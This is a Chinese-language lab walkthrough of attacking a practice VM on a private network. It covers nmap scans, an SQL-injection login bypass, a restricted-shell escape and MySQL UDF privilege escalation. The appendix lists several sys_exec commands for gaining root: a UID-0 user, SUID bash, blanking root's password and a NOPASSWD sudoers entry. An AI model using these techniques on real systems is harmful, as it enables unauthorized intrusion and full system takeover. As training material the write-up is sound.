目录
在靶机未打开和开启时分别arp-scan -l,判断那个IP为靶机IP,发现靶机IP为192.168.213.136
一、nmap扫描
#扫描tcp开放了那些端口,保存到ports中
nmap -sT --min-rate 10000 -p-192.168.213.136 -oA nmapscan/port
#扫描udp开放了那些端口,保存到udp中
nmap -sU --min-rate 10000 192.168.213.136 -oA nmapscan/udp
#对开放的端口进行详细的探测服务版本,保存到detail中
nmap -sT -sC -v -sV -O -Pn -p22,80,139,137,445 192.168.213.136 -oA nmapscan/detail
#使用nmap进行漏洞脚本探测
nmap --script=vuln -p22,80,111,139,443,1024 192.168.213.136 -oA nmapscan/vuln
总结:通过nmap扫描端口,得知了端口开放情况,端口服务的版本,和漏洞的情况
漏洞扫描在web中只扫到一个dos漏洞,并且139,445没有扫描到漏洞,22端口的ssh是打算往后考虑的,在80发现/database.sql 所以先看看web有什么突破口了。
二、sql万能密码,进入后台拿到密码登录ssh
打开就是一个登录界面,这时候就想到三个突破点
1.弱口令
2.cms历史漏洞
3.sql万能密码
先看看那个/database.sql
使用john作为用户名,1234作为密码看看能不能登录
结果是不行的,那就按三个突破口一个个的来试。
手动测试了几个弱密码,都登录不进去
searchsploit LigGoat 没有结果看来也不是cms
那就最后试试sql万能密码了
admin' or 1=1#
对密码框也试试
爆了不一样的错,想到之前暴露出的database.sql的john这个用户名
用户名:john
密码:admin' or 1=1#
进入了这个页面,写着用户名和密码,并且22ssh是开启的,进行ssh登录
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 john@192.168.213.136
成功登录,但是发现只能执行几个命令,进行shell逃逸
echo os.system('/bin/bash')
这样就可以运行任意的命令了
三、MySQL UDF提权
内核提权发现没有gcc ,先放弃看看别的
sudo -l 需要密码,sudo提权放弃
cat /etc/crontab 发现也没有定时任务
siud提权到GTFOBins里也没有找到可以利用的
那只好看看配件文件,history泄露了什么有用的东西了
cd /var/www #因为nmap扫描知道了是apache,所以web默认站点目录是这个
cat checklogin.php
mysql登录:mysql -u root -p 进入mysql
SELECT VERSION(); #发现是5.0.X的版本
SHOW GRANTS FOR CURRENT_USER();
显示有 ALL PRIVILEGES,权限够,能进行UDF提权
直接创建新用户并赋予root权限
SELECT sys_exec('useradd -ou 0 -g 0 hacker');
SELECT sys_exec('echo "hacker:password" | chpasswd');
su hacker 输入密码登录
id 显示为root权限,提权成功
四、补充
UDF提权不止有创建新用户并赋予root权限,下面还有几种方法供大家选择:
1. 设置 SUID 位
通过设置 SUID 位,允许普通用户以 root 权限运行某些程序,
例如 /bin/bash:
SELECT sys_exec('chmod u+s /bin/bash');
2.将用户 john 添加到 sudo 组:
SELECT sys_exec('/usr/sbin/usermod -aG sudo john');
3.修改系统登录文件(如 /etc/passwd):
将 root 用户的密码直接移除:
SELECT sys_exec("sed -i 's/^root:.*/root::0:0:root:\/root:\/bin\/bash/' /etc/passwd");
4.修改 /etc/sudoers 文件
直接修改 sudoers 文件,授予用户以 root 权限执行任意命令:
SELECT sys_exec('echo "john ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers');
5.创建新用户并赋予root权限
SELECT sys_exec('useradd -ou 0 -g 0 hacker');
SELECT sys_exec('echo "hacker:password" | chpasswd');